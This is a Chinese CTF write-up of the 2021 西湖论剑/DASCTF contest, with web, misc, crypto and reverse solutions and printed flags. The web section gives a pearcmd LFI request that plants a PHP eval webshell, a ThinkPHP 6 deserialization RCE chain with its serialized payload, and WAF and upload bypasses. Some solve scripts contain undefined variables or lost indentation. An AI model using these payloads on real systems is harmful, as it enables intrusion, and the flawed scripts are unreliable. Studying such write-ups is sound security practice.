前言

又是被带飞的一天,小菜鸡浑水摸鱼,负责端茶倒水

非常感谢各位师傅看得起我拉上我这个小菜鸡一起,跟着师傅们又学到的很多东西,还有几个漏洞得补上

现在对刷题跟比赛各有个的看法吧,刷题可以没那么多压力,一个人默默做着,在夜深人静时给我一种慰藉,虽然做着做着就睡不着了,也就越来越兴奋了,这个习惯得改改,但是缺点也显而易见,做的都是比较传统的老题型,按照时代的发展趋势,每次比赛都会见到没见过或者不熟悉的新题型,比赛就算不会做也能学到很多东西,题目比较新颖,结果其实也并没那么重要,重要的是在这个过程真正学到了什么东西。

在比赛结束前几分钟截了一张图,最后几分钟,懂得都懂了。因为涉及到真名啥的,打个码。

747F7796209CB4E5C0F56D0033E621A5.png

WEB

OA?RCE?

题目的源码给了,但是还是倾向于先黑盒了解下大致的功能和路由。

image-20211121113029526.png

可能存在路径穿越。看下大致的请求包。

image-20211121113045637.png

应该是一个MVC的写法,这种审计控制器就行了。那个getshtml看着很有意思,对看着像base64的参数解码试试

image-20211121113059943.png

对应的是一个php文件

image-20211121113119147.png

跟进看一下,发现确实会拼接上.php

image-20211121113140327.png

同时也一样存在目录穿越,这里有了个任意php后缀文件包含。稍微审计了一下控制器,发现有个phpinfoAction的,会显示phpinfo。看一下phpinfo

image-20211121113156724.png

发现是之前挺火的一个trick,通过register_argc_argv对pearcmd.php进行本地文件包含。那就拿之前看到的poc打一下吧。先fuzz一个可写的目录

image-20211121113214006.png

看起来就像是个可写目录,先试着打一下吧

image-20211121113234795.png

/?+config-create+/&m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA&/<?=eval($_POST[111])?>+/var/www/html/webmain/flow/page/123.php

确实可写,注意下用burp来打,浏览器会把<>url编码,写入后直接访问,system('ls /'); 发现存在readflag,运行后返回flag

image-20211121113320022.png

没有disable_functions还是挺友善的
DASCTF{6428b928d28d0733767691a9227468ad}

EZupload

html源码注释着提示<!--/?source=1--!>访问可以看到源代码

用了Latte模板渲染引擎,还有个文件上传点,上传文件名不能包含p,h且内容不能有<

可以上传.user.ini

auto_prepend_file=/flag

但是得访问一个php文件触发,Latte模板渲染引擎会在TempDirectory生成缓存文件,题目设置的就是上传目录,只需要找到缓存文件名就行了

简单审计一下,生成规则为:

public function getCacheFile(string $name): string
    {
        $hash = substr($this->getTemplateClass($name), 8);
        $base = preg_match('#([/\\\\][\w@.-]{3,35}){1,3}$#D', $name, $m)
            ? preg_replace('#[^\w@.-]+#', '-', substr($m[0], 1)) . '--'
            : '';
        return "$this->tempDirectory/$base$hash.php";
    }


public function getTemplateClass(string $name): string
    {
        $key = serialize([$this->getLoader()->getUniqueId($name), self::VERSION, array_keys((array) $this->functions), $this->sandboxed]);
        return 'Template' . substr(md5($key), 0, 10);
    }

先下载源码然后服务器上跑一遍, 输出$key

a:4:{i:0;s:18:"tempdir/test.latte";i:1;s:6:"2.10.4";i:2;a:7:{i:0;s:5:"clamp";i:1;s:11:"divisibleBy";i:2;s:4:"even";i:3;s:5:"first";i:4;s:4:"last";i:5;s:3:"odd";i:6;s:5:"slice";}i:3;b:1;}

文件名:

image-20211120195121215.png

然后爆破一下版本:

import requests
import hashlib
def MD5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()
url = 'http://b332fcee-8ddb-4218-8316-807646a89ee8.ezupload-ctf.dasctf.com:2333/tempdir'
s = ['2.9.4','2.8.6','2.7.4','2.6.4','2.5.7','2.10.5','2.10.4','2.9.3','2.7.3','2.6.3']
for i in s:
    a ='a:4:{i:0;s:18:"tempdir/test.latte";i:1;s:6:"'+i+'";i:2;a:7:{i:0;s:5:"clamp";i:1;s:11:"divisibleBy";i:2;s:4:"even";i:3;s:5:"first";i:4;s:4:"last";i:5;s:3:"odd";i:6;s:5:"slice";}i:3;b:1;}'
    b =MD5(a)
    c=f'/index.latte--{b[0:10]}.php'
    print(c)
    url1 = url+c
    res = requests.get(url1)
    print(res)

最后找到文件名:index.latte--6f26bb0dba.php

然后访问得到flag

image-20211120200426677.png

灏妹的web

字典跑起来,扫扫扫扫扫扫出了/.DS_Store

image-20211121113418450.png

稍微翻一下看看有什么文件的泄露,首先看到了.idea,说明.idea文件夹没删。然后看了一会还是看不出来东西,去网上找了个/.DS_Store泄露的工具dumpall.py,跑出来跑了个/.idea/dataSources,但是403,查一下就知道这文件应该还少个.xml后缀,加上访问就得到flag。

image-20211121113436852.png

DASCTF{356015a82fb5f170532d412a74fa2329}

EasyTp

访问public提示no file parameter,然后传参?file=index.php提示file_exists() return true.. hacker!!! ,传不存在的文件提示file_exists() return false..

猜测绕过file_exists函数就可以读源码,直接用伪协议读取index.php ?file=php://filter/convert.base64-encode/resource=index.php

然后得到源码:

<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        //return '<style type="text[表情]s">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</甩头yle><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
        if (isset($_GET['file'])) {
            $file = $_GET['file'];
            $file = trim($file);
            $file = preg_replace('/\s+/','',$file);
            if(preg_match("/flag/i",$file)){ die('<h2> no flag..');}
            if(file_exists($file)){
                echo "file_exists() return true..</br>";
                die( "hacker!!!");
            }else {
                echo "file_exists() return false..";
                @highlight_file($file);
            }

        } else {

            echo "Error! no file parameter <br/>";
            echo "highlight_file Error";
        }

    }

    public function unser(){
        if(isset($_GET['vulvul'])){
            $ser = $_GET['vulvul'];
            $vul = parse_url($_SERVER['REQUEST_URI']);
            parse_str($vul['query'],$query);

            foreach($query as $value)
            {
                if(preg_match("/O/i",$value))
                {
                    die('</br> <h1>Hacking?');
                    exit();
                }
            }
            unserialize($ser);
        }

    }
}

给了反序列化入口,但是要绕过waf,用///可绕过parse_url,payload:

///public/index.php/index/unser?vulvul=

然后传入一个tp6的rce链子就ok

<?php
namespace think\model\concern{
    trait Attribute{
        private $data = [7];
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think{
    abstract class Model{
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        protected $table;
        function __construct($cmd){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->table = new route\Url(new Middleware,new Validate,$cmd);
        }
    }
    class Middleware{
        public $request = 2333;
    }
    class Validate{
        protected $type;
        function __construct(){
             $this->type = [
                "getDomainBind" => [new view\driver\Php,'display']
            ];
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{} 
}

namespace think\route{
    class Url
    {
        protected $url = 'a:';
        protected $domain;
        protected $app;
        protected $route;
        function __construct($app,$route,$cmd){
            $this->domain = $cmd;
            $this->app = $app;
            $this->route = $route;
        }
    }
}

namespace{
    echo urlencode(serialize(new think\Model\Pivot('<?php system("cat /flag"); exit(); ?>')));
}
//O%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A15%3A%22think%5Croute%5CUrl%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A2%3A%22a%3A%22%3Bs%3A9%3A%22%00%2A%00domain%22%3Bs%3A37%3A%22%3C%3Fphp+system%28%22cat+%2Fflag%22%29%3B+exit%28%29%3B+%3F%3E%22%3Bs%3A6%3A%22%00%2A%00app%22%3BO%3A16%3A%22think%5CMiddleware%22%3A1%3A%7Bs%3A7%3A%22request%22%3Bi%3A2333%3B%7Ds%3A8%3A%22%00%2A%00route%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A13%3A%22getDomainBind%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22think%5Cview%5Cdriver%5CPhp%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7D%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A7%3B%7D%7D

image-20211120201539898.png

MISC

真·签到

扫码进入西湖论剑网络安全大赛微信公众号,发送语音说出“西湖论剑2021,我来了。”即可获得本题 flag:)

image-20211121121552315.png

YUSA的小秘密

拿到这张图片,看到了

image-20211121113537852.png

果断拿出了lsb专用小工具Stegsolve

image-20211121113600448.png

日常翻页,翻到了下面这个,看到了隐约的flag,但是吧,这个flag不清晰,就想起来2020bytectf的misc3,附链接https://bytectf.feishu.cn/docs/doccnqzpGCWH1hkDf5ljGdjOJYg#

image-20211121113623785.png

image-20211121113646032.png

百度搜索rgb ycbcr 颜色区别

https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&tn=baidu&wd=rgb%20ycbcr%20%E9%A2%9C%E8%89%B2%E5%8C%BA%E5%88%AB

尝试用字节官方writeup提到的方式进行YUV、YCbCr转换。

from cv2 import *
i=imread('yusa.png')
c=cv2.cvtColor(img, cv2.COLOR_BGR2YUV)
r,g,b = cv2.split(cv_color)
imwrite('yusa-yuv.png', (r % 2) * 255)
c=cv2.cvtColor(img, cv2.COLOR_BGR2YCrCb)
r,g,b = cv2.split(cv_color)
imwrite('yusa-ycc.png', (r % 2) * 255) 

打开图片发现可以提取出flag: 2947b683036d49e5681f83f7bc3fbb34 。

image-20211121113714999.png

image-20211121113734397.png

Yusa的秘密

使用volatility工具进行内存取证,发现profile为 Win2008R2SP0x64 可以正常提取数据。

使用 iehistory 插件导出浏览器记录,发现Yusa用户在访问关键字为 contact、Windows%20Workflow%20Foundation/key.zip 的文件。

$ grep zip filescan 

0x000000003f3356f0 1 0 R--rw- \Device\HarddiskVolume2\PROGRA~1\MSBuild\MICROS~1\WINDOW~1\key.zip

 

$ grep Foundation zfilescan 

Volatility Foundation Volatility Framework 2.6.1

0x000000003e58ada0 1 0 R--r-- \Device\HarddiskVolume2\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\Sakura-didi

0x000000003e7ab430 2 1 R--rwd \Device\HarddiskVolume2\Program Files\MSBuild\Microsoft\Windows Workflow Foundation

0x000000003f98f900 2 1 R--rwd \Device\HarddiskVolume2\Program Files\MSBuild\Microsoft\Windows Workflow Foundation

 

$ grep contact filescan 

0x000000003e748f20 1 0 R--r-d \Device\HarddiskVolume2\Users\Yusa\Contacts\Yusa.contact

0x000000003fa09070 1 0 R--r-d \Device\HarddiskVolume2\Users\Yusa\Contacts\Mystery Man.contact

使用 dumpfiles插件导出上面的文件。

从Mystery Man.contact中发现隐藏了一串只有大写字母,和2-7数字的字符串,猜测是base32,然后解码。 LF2XGYPPXSGOPO4E465YPZMITLSYRGXGWS7OJOEL42O2LZFYQDSLRKXEXO56LCVB566IZ2FPW7S37K7HQK46LLUM42EJB354RTSL3IHFR6VONHEJ4S4ITZNEVHTJPNXJS62OHAECGZGCWWRVOBUXMNKMGJTTKTDZME2TKU3PGVMWS5ZVGVYUKYJSKY2TON3ZJU2VSK3WGVGHK3BVGVJW6NLBGZCDK33NKQ2WE6KBGU3XKRJVG52UQNJXOVNDKTBSM42TK4KFGVRGK3BVLFLTGNBUINBTKYTFNQ2VSVZTGVNEOOJVLJBU4NKMGZSDKNCXNY2UY4KHGVGHSZZVG52WMNSLMVCTKWLJLI2DIQ2DMEZFMNJXG54WCT2EJF3VSV2NGVGW2SJVLJVFKNCNKRIXSWLNJJUVS6SJGNMTERLZJ5KFM3KNK5HG2TSEM46Q====
% echo LF2XGYPPXSGOPO4E465YPZMITLSYRGXGWS7OJOEL42O2LZFYQDSLRKXEXO56LCVB566IZ2FPW7S37K7HQK46LLUM42EJB354RTSL3IHFR6VONHEJ4S4ITZNEVHTJPNXJS62OHAECGZGCWWRVOBUXMNKMGJTTKTDZME2TKU3PGVMWS5ZVGVYUKYJSKY2TON3ZJU2VSK3WGVGHK3BVGVJW6NLBGZCDK33NKQ2WE6KBGU3XKRJVG52UQNJXOVNDKTBSM42TK4KFGVRGK3BVLFLTGNBUINBTKYTFNQ2VSVZTGVNEOOJVLJBU4NKMGZSDKNCXNY2UY4KHGVGHSZZVG52WMNSLMVCTKWLJLI2DIQ2DMEZFMNJXG54WCT2EJF3VSV2NGVGW2SJVLJVFKNCNKRIXSWLNJJUVS6SJGNMTERLZJ5KFM3KNK5HG2TSEM46Q====|base32 -d

Yusa,组织刚刚派下来一个任务,请快点完成,你只有三天时间。6L+Z5piv5L2g5Lya55So5Yiw55qEa2V577yM5Y+v5Lul55So5a6D5omT5byA57uE57uH57uZ5L2g55qE5bel5YW344CC5bel5YW35ZG95ZCN5L6d54Wn5LqG5Lyg57uf6KeE5YiZ44CCa2V577yaODIwYWM5MmI5ZjU4MTQyYmJiYzI3Y2EyOTVmMWNmNDg=

猜测是base64,继续解码。

% echo 6L+Z5piv5L2g5Lya55So5Yiw55qEa2V577yM5Y+v5Lul55So5a6D5omT5byA57uE57uH57uZ5L2g55qE5bel5YW344CC5bel5YW35ZG95ZCN5L6d54Wn5LqG5Lyg57uf6KeE5YiZ44CCa2V577yaODIwYWM5MmI5ZjU4MTQyYmJiYzI3Y2EyOTVmMWNmNDg=|base64 -d

这是你会用到的key,可以用它打开组织给你的工具。工具命名依照了传统规则。key:820ac92b9f58142bbbc27ca295f1cf48

发现导出的cmdline有便签程序

$ grep StikyNot cmdline

StikyNot.exe pid: 2228

Command line : "C:\Windows\system32\StikyNot.exe"

然后memdump -p 2228 -D .

$ mv 2228.dmp 2228.data
通过gimp导入 2228.data的内存文件后,不断尝试调整 位移、宽度,发现宽度2260、位移约5577万时能看到较清晰图像。

密码为:世界没了心跳 。

image-20211121113817269.png

file 检测发现 Sakura-didi 是zip文件。
Sakura-didi
Length Date Time Name
1254 2021-10-28 19:14 key.bmp
key.zip
Length Date Time Name
453 2021-10-28 22:53 exp
使用之前找到的密码解压
key.zip 世界没了心跳
Sakura-didi.zip 820ac92b9f58142bbbc27ca295f1cf48
$file key.bmp
/Users/ro0t/Downloads/Yusa的秘密/key.bmp: PC bitmap, Windows 3.x format, 20 x 20 x 24
strings Yusa-PC.raw 后发现多个 YusaYusa关键字,和用户名Yusa匹配,尝试进行 YusaYusa*爆破,发现YusaYusa520 为
Who_am_I.zip 的密码。
发现exp的python脚本 对key.bmp使用flag进行了加密处理。

编写解密脚本如下:

from PIL import Image
import struct
pic = Image.open('key.bmp')
fp = open('Who_am_I1', 'rb')
\#fp = open('flag', 'rb')
fs = open('flag1', 'wb')
\#fs = open('Who_am_I', 'wb')
a, b = pic.size
print(a,b)
list1 = []
for y in range(b):
for x in range(a):
pixel = pic.getpixel((x, y))
list1.extend([pixel[1], pixel[0], pixel[2], pixel[2], pixel[1], pixel[0]])
data = fp.read()
for i in range(0, len(data)):
fs.write(struct.pack('B', data[i] ^ list1[i % a*b*6]))
fp.close()
fs.close()

然后执行生成 flag1文件,file发现是 gif图片。

gif导出为静态图片后,发现一张flag 图片,为 c3837c61-77f1-413e-b2e6-3ccbc96df9f4

image-20211121113846619.png

CRYPTO

unknown_dsa

题目涉及pell方程和DSA,解pell方程可得ul和vl

#sage
def pell(n):
    cf = continued_fraction(sqrt(n))
    for i in range(1000):
        vl = cf.denominator(i)
        ul = cf.numerator(i)
        if ul**2 - n * vl**2 == 1:
            return ul, vl
    z = zip(ul, vl)
    return z


ul = []
vl = []
wl, cl1, cl2 = [3912956711, 4013184893, 3260747771], [2852589223779928796266540600421678790889067284911682578924216186052590393595645322161563386615512475256726384365091711034449682791268994623758937752874750918200961888997082477100811025721898720783666868623498246219677221106227660895519058631965055790709130207760704, 21115849906180139656310664607458425637670520081983248258984166026222898753505008904136688820075720411004158264138659762101873588583686473388951744733936769732617279649797085152057880233721961, 301899179092185964785847705166950181255677272294377823045011205035318463496682788289651177635341894308537787449148199583490117059526971759804426977947952721266880757177055335088777693134693713345640206540670123872210178680306100865355059146219281124303460105424], [148052450029409767056623510365366602228778431569288407577131980435074529632715014971133452626021226944632282479312378667353792117133452069972334169386837227285924011187035671874758901028719505163887789382835770664218045743465222788859258272826217869877607314144, 1643631850318055151946938381389671039738824953272816402371095118047179758846703070931850238668262625444826564833452294807110544441537830199752050040697440948146092723713661125309994275256, 10949587016016795940445976198460149258144635366996455598605244743540728764635947061037779912661207322820180541114179612916018317600403816027703391110922112311910900034442340387304006761589708943814396303183085858356961537279163175384848010568152485779372842]
for j in range(len(wl)):
    l = pell(wl[j])
    ul.append(l[0])
    vl.append(l[1])
print(ul)
print(vl)

解完之后excrt解出m1和m2,接着就能解得hm1和hm2

之后通过p*q和(p-1)//q求得p和q

#sage
pq, p1q = 85198615386075607567070020969981777827671873654631200472078241980737834438897900146248840279191139156416537108399682874370629888207334506237040017838313558911275073904148451540255705818477581182866269413018263079858680221647341680762989080418039972704759003343616652475438155806858735982352930771244880990190318526933267455248913782297991685041187565140859, 106239950213206316301683907545763916336055243955706210944736472425965200103461421781804731678430116333702099777855279469137219165293725500887590280355973107580745212368937514070059991848948031718253804694621821734957604838125210951711527151265000736896607029198
p = (sqrt(pq*p1q+1/4)+1/2)[0]
q = pq // p
print(p)
print(q)

后面就是常规DSA了,附完整的exp:

from Crypto.Util.number import *
from Crypto.Hash import SHA
from functools import reduce
from gmpy2 import *


def exgcd(a, b):
    if b == 0: return 1, 0
    x, y = exgcd(b, a % b)
    return y, x - a // b * y


def uni(P, Q):
    r1, m1 = P
    r2, m2 = Q
    d = gcd(m1, m2)
    assert (r2 - r1) % d == 0
    l1, l2 = exgcd(m1 // d, m2 // d)
    return (r1 + (r2 - r1) // d * l1 * m1) % lcm(m1, m2), lcm(m1, m2)


def CRT(eq):
    return reduce(uni, eq)


ul = [10537190383977432819948602717449313819513015810464463348450662860435011008001132238851729268032889296600248226221086420035262540732157097949791756421026015741477785995033447663038515248071740991264311479066137102975721041822067496462240009190564238288281272874966280,121723653124334943327337351369224143389428692536182586690052931548156177466437320964701609590004825981378294358781446032392886186351422728173975231719924841105480990927174913175897972732532233,1440176324831562539183617425199117363244429114385437232965257039323873256269894716229817484088631407074328498896710966713912857642565350306252498754145253802734893404773499918668829576304890397994277568525506501428687843547083479356423917301477033624346211335450]
vl = [168450500310972930707208583777353845862723614274337696968629340838437927919365973736431467737825931894403582133125917579196621697175572833671789075169621831768398654909584273636143519940165648838850012943578686057625415421266321405275952938776845012046586285747, 1921455776649552079281304558665818887261070948261008212148121820969448652705855804423423681848341600084863078530401518931263150887409200101780191600802601105030806253998955929263882382004, 25220695816897075916217095856631009012504127590059436393692101250418226097323331193222730091563032067314889286051745468263446649323295355350101318199942950223572194027189199046045156046295274639977052585768365501640340023356756783359924935106074017605019787]
cl1 = [2852589223779928796266540600421678790889067284911682578924216186052590393595645322161563386615512475256726384365091711034449682791268994623758937752874750918200961888997082477100811025721898720783666868623498246219677221106227660895519058631965055790709130207760704,21115849906180139656310664607458425637670520081983248258984166026222898753505008904136688820075720411004158264138659762101873588583686473388951744733936769732617279649797085152057880233721961,301899179092185964785847705166950181255677272294377823045011205035318463496682788289651177635341894308537787449148199583490117059526971759804426977947952721266880757177055335088777693134693713345640206540670123872210178680306100865355059146219281124303460105424]
cl2 = [148052450029409767056623510365366602228778431569288407577131980435074529632715014971133452626021226944632282479312378667353792117133452069972334169386837227285924011187035671874758901028719505163887789382835770664218045743465222788859258272826217869877607314144, 1643631850318055151946938381389671039738824953272816402371095118047179758846703070931850238668262625444826564833452294807110544441537830199752050040697440948146092723713661125309994275256, 10949587016016795940445976198460149258144635366996455598605244743540728764635947061037779912661207322820180541114179612916018317600403816027703391110922112311910900034442340387304006761589708943814396303183085858356961537279163175384848010568152485779372842]

m11, mod1 = CRT(zip(cl1, ul))
m1 = long_to_bytes(iroot(m11, 7)[0])
hm1 = bytes_to_long(SHA.new(m1).digest())
# print(hm1)

m22, mod2 = CRT(zip(cl2, vl))
m2 = long_to_bytes(iroot(m22, 7)[0])
hm2 = bytes_to_long(SHA.new(m2).digest())
# print(hm2)

pq, p1q, t = 85198615386075607567070020969981777827671873654631200472078241980737834438897900146248840279191139156416537108399682874370629888207334506237040017838313558911275073904148451540255705818477581182866269413018263079858680221647341680762989080418039972704759003343616652475438155806858735982352930771244880990190318526933267455248913782297991685041187565140859, 106239950213206316301683907545763916336055243955706210944736472425965200103461421781804731678430116333702099777855279469137219165293725500887590280355973107580745212368937514070059991848948031718253804694621821734957604838125210951711527151265000736896607029198, 60132176395922896902518845244051065417143507550519860211077965501783315971109433544482411208238485135554065241864956361676878220342500208011089383751225437417049893725546176799417188875972677293680033005399883113531193705353404892141811493415079755456185858889801456386910892239869732805273879281094613329645326287205736614546311143635580051444446576104548
r1, s1, s2, r2, s3 = 498841194617327650445431051685964174399227739376, 376599166921876118994132185660203151983500670896, 187705159843973102963593151204361139335048329243, 620827881415493136309071302986914844220776856282, 674735360250004315267988424435741132047607535029
p = 95139353880772104939870618145448234251031105153406565833029787299040378395002190438381537974853777890692924407167823818980082672873538133127131356810153012924025270883966172420658777903337576027105954119811495411149092960422055445121097259802686960288258399754185484307350305454788837702363971523085335074839
q = 895513916279543445314258868563331268261201605181

s = s1-s2
m = hm1-hm2
k = (m * invert(s, q)) % q
x1 = (s1*k - hm1)*invert(r1, q) % q
x2 = (s3*k - hm1)*invert(r2, q) % q
print(long_to_bytes(x1)+long_to_bytes(x2))
#DASCTF{f11bad18f529750fe52c56eed85d001b}

hardrsa

羊城杯原题,附exp:

from Crypto.Util.number import *
import sympy

dp= 379476973158146550831004952747643994439940435656483772269013081580532539640189020020958796514224150837680366977747272291881285391919167077726836326564473
c = 57248258945927387673579467348106118747034381190703777861409527336272914559699490353325906672956273559867941402281438670652710909532261303394045079629146156340801932254839021574139943933451924062888426726353230757284582863993227592703323133265180414382062132580526658205716218046366247653881764658891315592607194355733209493239611216193118424602510964102026998674323685134796018596817393268106583737153516632969041693280725297929277751136040546830230533898514659714717213371619853137272515967067008805521051613107141555788516894223654851277785393355178114230929014037436770678131148140398384394716456450269539065009396311996040422853740049508500540281488171285233445744799680022307180452210793913614131646875949698079917313572873073033804639877699884489290120302696697425
c1= 78100131461872285613426244322737502147219485108799130975202429638042859488136933783498210914335741940761656137516033926418975363734194661031678516857040723532055448695928820624094400481464950181126638456234669814982411270985650209245687765595483738876975572521276963149542659187680075917322308512163904423297381635532771690434016589132876171283596320435623376283425228536157726781524870348614983116408815088257609788517986810622505961538812889953185684256469540369809863103948326444090715161351198229163190130903661874631020304481842715086104243998808382859633753938512915886223513449238733721777977175430329717970940440862059204518224126792822912141479260791232312544748301412636222498841676742208390622353022668320809201312724936862167350709823581870722831329406359010293121019764160016316259432749291142448874259446854582307626758650151607770478334719317941727680935243820313144829826081955539778570565232935463201135110049861204432285060029237229518297291679114165265808862862827211193711159152992427133176177796045981572758903474465179346029811563765283254777813433339892058322013228964103304946743888213068397672540863260883314665492088793554775674610994639537263588276076992907735153702002001005383321442974097626786699895993544581572457476437853778794888945238622869401634353220344790419326516836146140706852577748364903349138246106379954647002557091131475669295997196484548199507335421499556985949139162639560622973283109342746186994609598854386966520638338999059
y = 449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839
g = 2
x = sympy.discrete_log(y, c1, g)
p = sympy.symbols("p")
a = sympy.solve([2019*p**2 + 2020*p**3 + 2021*p**4-x], [p])
#print(a)
p = 12131601165788024635030034921084070470053842112984866821070395281728468805072716002494427632757418621194662541766157553264889658892783635499016425528807741
m = pow(c, dp, p)
print(long_to_bytes(m))

密码人集合

题目内容:A gift for u. enjoy it. XD
打开题目环境
ip: 82.157.25.233
port: 53900
protocol: tcp
nc连接

clip_image001.png

Hi! 欢迎来到西湖论剑。

作为队伍里面密码手的你,你是否孤独呢?

你是否想过这道题可能是什么密码呢,是RSA、是DSA、是AES、是LWE?是一场头脑风暴,是又一次网上找现成脚本,还是又需要研究论文实现代码。

Nope!

我只想让你快乐。

Be happy。

相信我不需要再解释如何玩这个游戏了。那么 开始吧

------------------------------

* 剑 | | *

* 要 | 第 |

* | | 西

------------------------------

剑 | |

论 | 拿 |

西 | |

------------------------------

* | | 一 西

* | 拿 |

剑 西 | 湖 |

------------------------------

连成一串输入,例如完整矩阵为

a b c

d e f

g h i

输入abcdefghi即可。

\> 请输入答案字符串:

最开始以为是西湖论剑我要拿第一,结果提示格式错误

clip_image003.png

最开始以为真的是输入字符格式不对,尝试过字母,数字之后都不行,最后想起来会不会是数独,将汉字转化为数字进行数独在线解密:https://shudu.gwalker.cn/

clip_image005.png

解得:

2 4 1 3 6 9 5 8 7
3 6 5 8 7 1 2 9 4
7 8 9 5 2 4 6 1 3
8 7 4 2 9 6 1 3 5
9 5 3 1 8 7 4 6 2
1 2 6 4 5 3 8 7 9
5 3 7 6 4 8 9 2 1
6 9 2 7 1 5 3 4 8
4 1 8 9 3 2 7 5 6

解出为:湖剑西论要一我第拿论要我第拿西湖一剑拿第一我湖剑要西论第拿剑湖一要西论我一我论西第拿剑要湖西湖要剑我论第拿一我论拿要剑第一湖西要一湖拿西我论剑第剑西第一论湖拿我要

clip_image007.png

clip_image009.png

恭喜!答案正确,这是你的奖DASCTF{a2fc1eaeb8487631fe3bade2a6682a77}。

继续开启下一站的旅程吧。

拿到flag:DASCTF{a2fc1eaeb8487631fe3bade2a6682a77}

REVERSE

TacticalArmed

程序开始时有反调试,把int 2D patch成int 3之后就可以动调。
抛出异常后会初始化四个常量,调试可以得到4011F0函数处smc执行后的字节码。
反汇编可见 右移5左移4XOR 推测是TEA加密输入值后比较是否一致,写解密脚本:

#include <stdio.h>
#include <stdbool.h>
#include <iostream>
#include<stdio.h>
#include<stdint.h>

using namespace std;


void DecryptTEA(unsigned int* firstChunk, unsigned int* secondChunk, unsigned int* key, int count) {
    unsigned int  sum = 0;
    unsigned int  y = *firstChunk;
    unsigned int  z = *secondChunk;
    unsigned int  delta = -0x7E5A96D2; //smc第一段

    sum = delta * 33 * (count+1);
    for (int i = 0; i < 33; i++) //33轮
    {
        z -= (y << 4) + key[2] ^ y + sum ^ (y >> 5) + key[3];
        y -= (z << 4) + key[0] ^ z + sum ^ (z >> 5) + key[1];
        sum -= delta;
    }
    *firstChunk = y;
    *secondChunk = z;
}

int main(int argc, char const* argv[]) {
    unsigned int dword_405000[4];
    dword_405000[0] = 0x7CE45630; //抛出异常时初始化的key数组
    dword_405000[1] = 0x58334908; //原始key是fake key
    dword_405000[2] = 0x66398867;
    dword_405000[3] = 0xC35195B1;

    unsigned int goal[] = { 0x422F1DED,0x1485E472,0x035578D5,0xBF6B80A2,0x97D77245,0x2DAE75D1,0x665FA963,0x292E6D74,0x9795FCC1,0x0BB5C8E9,0 }; //最后比较的数组

    for (int i = 0; i < 5; i++) {
        DecryptTEA(&goal[i * 2 + 0], &goal[i * 2 + 1], dword_405000, i);
    }
    printf("%s\n", goal);
    return 0;
}

输出即为flag:

image-20211120235340752.png

ROR

把判断处展开:

printf("%02x ",(unsigned __int8)(
            (v6[j] & Str[i + 7]) << (8 - (7 - j) % 8u) |
            (v6[j] & Str[i + 6]) << (8 - (6 - j) % 8u) |
            (v6[j] & Str[i + 5]) << (8 - (5 - j) % 8u) |
            (v6[j] & Str[i + 4]) << (8 - (4 - j) % 8u) |
            (v6[j] & Str[i + 3]) << (8 - (3 - j) % 8u) |
            (v6[j] & Str[i + 2]) << (8 - (2 - j) % 8u) |
            (v6[j] & Str[i + 1]) << (8 - (1 - j) % 8u) |
            (v6[j] & Str[i + 0]) << (8 - (0 - j) % 8u) |
            (v6[j] & (unsigned int)Str[i + 7]) >> ((7 - j) % 8u) |
            (v6[j] & (unsigned int)Str[i + 6]) >> ((6 - j) % 8u) |
            (v6[j] & (unsigned int)Str[i + 5]) >> ((5 - j) % 8u) |
            (v6[j] & (unsigned int)Str[i + 4]) >> ((4 - j) % 8u) |
            (v6[j] & (unsigned int)Str[i + 3]) >> ((3 - j) % 8u) |
            (v6[j] & (unsigned int)Str[i + 2]) >> ((2 - j) % 8u) |
            (v6[j] & (unsigned int)Str[i + 1]) >> ((1 - j) % 8u) |
            (v6[j] & (unsigned int)Str[i + 0]) >> ((0 - j) % 8u)
            ));

不难发现加密前每一位只对加密后两个位有影响,但是事实上有一半不会被执行
